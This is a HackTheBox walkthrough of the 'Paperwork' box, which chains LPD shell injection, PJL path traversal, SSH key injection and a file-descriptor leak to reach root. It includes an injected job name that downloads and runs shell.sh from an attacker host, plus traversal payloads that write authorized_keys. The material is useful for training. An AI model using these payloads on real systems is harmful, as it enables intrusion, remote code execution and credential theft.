← Back to all writeups

HTB: Paperwork — Print Spool Compromise Walkthrough

HACKTHEBOX EASY LINUX CUSTOM PROTOCOL PARSERS
Author: th3_m4d_h4ck3r  |  Framework: Scarif Operations

> OVERVIEW

Paperwork is a beginner-friendly Linux box built entirely around custom, home-rolled implementations of legacy printer protocols. Nothing here is a stock CVE — every step is a logic bug in a hand-written parser. The full chain:

  1. Shell injection via LPD control file — an unsanitized job-name field lands straight in a shell=True subprocess call
  2. Foothold as lp via reverse shell over the LPD (port 1515) service
  3. Path traversal in a JetDirect emulator (port 9100, localhost-only) — no containment check on a translated file path
  4. SSH key injection — traversal used to write an authorized_keys file directly into the service account's home directory
  5. Forensic-honeypot credential leak — a "security" daemon watching for intrusion signatures accidentally hands us a live file descriptor to a root-owned secrets file via SCM_RIGHTS
  6. Root via reused admin password

> RECONNAISSANCE

nmap -sC -sV -p- --min-rate 5000 --disable-arp-ping <TARGET_IP> -oN nmap_initial.txt

Results:

Added the vhost to /etc/hosts and browsed the site — a plain "Intake Portal" page referencing a print archival workflow, a queue named archive_intake, and a maintenance notice that the "backend spooler management console is currently offline" — a hint that a management component exists somewhere even if it's not directly reachable.

> STAGE 1: LPD SHELL INJECTION (PORT 1515)

The LPD server's source was reachable through an unrelated leak on the site. The relevant logic:

job_name = "Unknown"
for line in decoded_content.split('\n'):
    line = line.strip()
    if line.startswith('J'):
        job_name = line[1:]
        break

subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)

The job name comes straight from the J line of an attacker-supplied LPD control file and is dropped into a shell=True command with no sanitization. Breaking out of the single-quoted string with a stray ' lets us chain arbitrary commands.

Reproducing the RFC 1179 framing precisely mattered here — the job-open command (0x02 + queue name), followed by a control-file subcommand (0x02 + size + control filename), followed by the raw control file bytes. A custom Python socket client handled all three steps and staged a curl-and-execute payload as the injected job name to avoid quoting hell in the reverse shell one-liner itself.

Payload logic (job name field):

x'; curl -s http://<LHOST>:8000/shell.sh -o /tmp/.s.sh; bash /tmp/.s.sh; echo '

Landed a reverse shell as lp.

> STAGE 2: ENUMERATION AS lp

linpeas surfaced a tempting but ultimately unused lead: /usr/bin/bash was world-writable. Without a root-owned cron job, timer, or service invoking that binary, though, it was a dead end for this chain — a good reminder not to chase the shiniest finding without confirming there's actually a trigger for it.

The real thread came from the running process list: a root-owned daemon at /usr/bin/paperwork-daemon, and a service running as a separate user, archivist:

archivi+   982  /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log

paperwork-daemon's source revealed the shape of the rest of the box. It binds a Unix socket at /run/paperwork/mgmt.sock (mode 660, group archivist), and on every connection:

Two blockers stood between us and that socket: it's only reachable by the archivist group, which lp isn't in; and we needed a way to get those trigger strings into the log in the first place.

> STAGE 3: PATH TRAVERSAL IN THE JETDIRECT EMULATOR

jetdirect.py listens on 127.0.0.1:9100 only, running as archivist. It implements a toy PJL filesystem inside a sandboxed root directory — but the path translation has no containment check:

def _translate(self, path):
    clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
    return os.path.normpath(os.path.join(self._root, clean))

A NAME="0:\..\..." value walks straight out of the sandbox. Since the service runs as archivist, any file it reads or writes happens with that user's permissions — including directories it was never meant to touch, like the account's own home directory one level up.

First pulled the service's own source via its upload command (also handy since lp lacked permission to read the file directly through the filesystem):

@PJL FSUPLOAD NAME="0:\jetdirect.py" OFFSET=0 SIZE=99999

Then used the download command with a traversal path to drop an SSH key straight into archivist's home directory (the write path even auto-creates missing parent directories):

@PJL FSDOWNLOAD NAME="0:\..\.ssh\authorized_keys" SIZE=<keylen>
<public key bytes>

SSH'd in directly afterward:

ssh -i paperwork_archivist archivist@<TARGET_IP>

User flag secured.

> STAGE 4: THE HONEYPOT THAT LEAKS ITS OWN EVIDENCE

As archivist, the mgmt.sock group restriction was no longer a problem. And since the PJL commands sent during the traversal exploit had already written FSUPLOAD and FSDOWNLOAD into commands.log, the daemon's malice check was already tripped — the very next connection triggered the "lockdown" and its file descriptor leak.

Catching a passed FD over a Unix socket needs recvmsg with an ancillary data buffer sized for SCM_RIGHTS, not a plain read:

fds = array.array("i")
msg, ancdata, flags, addr = s.recvmsg(4096, socket.CMSG_LEN(2 * fds.itemsize))
for cmsg_level, cmsg_type, cmsg_data in ancdata:
    if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
        fds.frombytes(cmsg_data)

Once unpacked, the two descriptors could be read directly with os.pread(fd, size, 0) — no path, no permission check needed, since we already hold the open file handle itself. The second FD contained:

ADMIN_PASSWORD=ApparelMortuaryCedar22

> STAGE 5: ROOT

The leaked admin password was directly reused for the root account:

su root
Password: ApparelMortuaryCedar22

Root flag secured.


> LESSONS LEARNED